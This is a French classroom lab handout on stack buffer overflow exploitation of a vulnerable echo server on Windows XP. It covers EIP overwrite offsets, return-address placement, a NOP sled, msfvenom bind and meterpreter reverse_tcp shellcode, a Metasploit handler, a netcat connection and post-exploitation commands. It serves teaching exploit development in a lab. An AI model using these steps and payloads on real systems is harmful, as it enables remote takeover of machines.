Vous êtes sur la page 1sur 14

Contrôler le RET pour l’execution

du code
Trouver la position du RET
 Ouvrez la VM KALI
 Nous allons utilisés notre script esploit.py
 Et vous vous rappeler tout à l’heure nous avions calculé la distance des offsets
 1036 et 1040 pour EIP et le sommet de pile
 Ouvrez exploit.py vim exploit.py
 Quelle serait la nouvelle valeur qu’on doit donner au buffer ?
 Buffer = « A »*1036
 Car on sait pertinemment que les 1036 premiers octets sont sans intérêt pour nous car on
s’arretera juste avant l’@ de retours
 Buffer += « BBBB » #réectriture de l’@ de retours dans la pile
 Buffer +=« CCCC » #ESP pointe sur cette adresse
 Buffer += « D »*300
 ouvrez votre serveur « echoservermemcpy » dans immunity placer votre break point
00401520 et lancer le serveur
 Lancer votre exploit ./exploit.py @IP

 Si vous observez la pile vous remarquerez qu’elle contient que des AAAAAAA
 Qu’il y a des B à l’@ 0022FB4C
 CCCC 0022FB50
 Continuer l’execution jusqu’à la fin de la fonction memcpy 00401545
 Si nous parcourons la pile nous constatons que la séquence « BBBB » est à l’@
0022F72C
 On continue l’execution jusqu’au RETN
 On constate que le sommet de la pile contient les BBBB
 Le sommet de la pile contient les BBBB ce sera la prochaine valeur de EIP
 La ligne svt contient les CCCC qui sera la nouvelle valeur de ESP donc le
déplacement vers le sommet de pile
 Ce que je veux faire c’est que l’@ de sommet point vers la deuxième adresse de la
pile
 Les données à partir du CCCC seront mon shellcode
 Pour faire l’expérience cliquer avec le bouton droit sur les données du sommet de
pile et cliquer sur edit et rem placer les valeurs par l’@ de la ligne svt «30 F7 22 00 »
 Cliquer sur le registre ESP avec le bouton droit  follow in dump
 Dans la fenêtre Hex dump cliquer avec le bouton droit sur le premier 43 « C » de la
premiere ligne  Breakpoint  Hardware, on execution
 Lancer l’execution
 Ce que nous devons faire c’est remplacer nos CCCCDDDD par un shell code tout
en maintenant l’@ de retours à sa position
 Revenez vers votre script exploit.py
 Remplacer l’instruction buffer +=« BBBB » par
 Buffer += « \x30\xf7\x22\x00 »
 On supprime les affectations suivantes du buffer et on insère notre shellcode
 Vous avez le choix entre ecrire manuellement votre shellcode « pour les Geek »ou
bien utiliser un outil tel que metasploit
 Revenez vers KALI
 Ouvrez un nouvel onglet de votre terminal
 Msfvenom –p windows/shell_bind_tcp –f c –a x86
 Copier le shellecode et faites
 Buffer += (« shellcode »)
 Revenez vers windows XP
 Relancer votre programme en gardant vos break points exécuter le
 Lancer l’exploit à partir de Kali
 Lancer l’execution pas à pas jusqu’au RETN
 Vous remarquer que l’@ de retours pointe vers la prochaine ligne de la pile
 Le shellcode commence évidemment à partir de la deuxième ligne de la pile
 Revenez vers le shellcode généré tout à l’heure et vous remarquerez qu’il
commence par « \xfc\xe8\x82\x00 »
 Ce qui correspond à la deuxième ligne de la pile
 Cliquer avec le bouton droit sur ESP follw dump
 dans la fenetre Hex dump faites un click droit sur FC  disassemble et la vous aurez
le code du shellcode
 Dans cette fenetre placer un break point hardware on execution à la ligne
0022F730
 Lancer l’execution. Le prog va s’arreter à votre point d’arret
 Vous remarquez que votre shellcode a été automatiquement desassembler et qu’il
va être automatiquement executé
 On laisse le programme finir son execution
 On revient vers KALI et on se connecte à XP
 Nc @IP 4444
 Maintenant meme si vous lancer le serveur et l’exploit en dehors de immunity vous
remarquerez que le programme ne se crache plus grace au shell injecté
Trouver la position du RET
 Revenir vers le script python
 Apres l’@ de retours insérer la ligne suivante
 Buffer +=« \x90 »*10
 Et rééxecuter le tout
 Que remarquez vous ?
 Les NOP « No Opération code » permettent de combler les cases mémoires vides
sans exécuter d’opérations
Exploitation avec metrepreter
 On fais une copie de notre fichier exploit
 Cp exploit.py exploit-meterpreter.py
 On ouvre le nouveau fichier pour supprimer le shell existant
 Vim exploit-meterpreter.py
 On ouvre un nouvel onglet et on crée le shell meterpreter
 Msfvenom –p windows/meterpreter/reverse_tcp LHOST=@ip machine attaquant –f c –a x86
 Copier le shellcode généré et placer le dans le buffer de votre script
 Enregistrer votre fichier
 Dans un nouvel onglet Lancer metasploit #metasploit doit être installé et configuré correctement
 Msfconsole
 Use exploit/multi/handler
 Msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
 Msf exploit(handler) >set LHOST @IP
 Msf exploit(handler) > exploit
 Lancer le serveur sur windows
 REVENEZ à l’autre fenetre et lancer exploit-meterpreter.py @IP serveur
 Getuid
 Sysinfo
 ps
 Le pb qu’on eu tout à l’heure était dû au fait que le payload handler ne
s’enclenchait pas au niveau de ma machine

 Préparer vous pour un test demain matin en cours

Vous aimerez peut-être aussi